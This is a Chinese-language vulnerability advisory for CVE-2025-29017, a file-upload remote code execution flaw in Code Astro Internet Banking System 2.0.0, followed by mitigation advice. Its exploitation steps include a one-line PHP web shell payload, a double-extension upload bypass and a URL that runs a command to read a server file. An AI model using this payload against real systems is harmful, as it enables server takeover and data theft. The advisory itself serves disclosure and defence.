CVE-2025-29017 - Internet Banking System 2.0.0 通过头像上传实现远程代码执行

描述

Code Astro Internet Banking System 2.0.0 中存在一个**远程代码执行（RCE）**漏洞，该漏洞源于 pages_view_client.php 中 profile_pic 参数的文件上传验证不严格。攻击者可以通过修改上传请求绕过安全检查，从而实现任意代码执行。

受影响组件

• pages_view_client.php 中的 profile_pic 参数
• 上传功能允许执行恶意 PHP 文件

利用步骤

1. 前往用户个人资料设置页面，浏览选择新的头像图片。

2. 使用 Burp Suite 等工具拦截头像上传请求。

3. 将文件修改为双扩展名（.jpeg.php），将 Content-Type 头部改为 application/x-php，并追加恶意 PHP 代码：

<?php system($_GET['cmd']); ?>

4. 检查文件是否已上传至 /admin/dist/img/ 目录：

http://IP:PORT/InternetBanking-php/admin/dist/img/image.jpeg.php?cmd=type C:\Users\file.txt

影响

• 完全服务器遭入侵
• 数据窃取
• 权限提升

缓解措施

• 仅允许上传图片格式文件，并验证 MIME 类型。
• 清理文件名，阻止包含可执行代码的文件。
• 将上传的文件存储在 Web 根目录之外。

参考资料

• OWASP 文件上传安全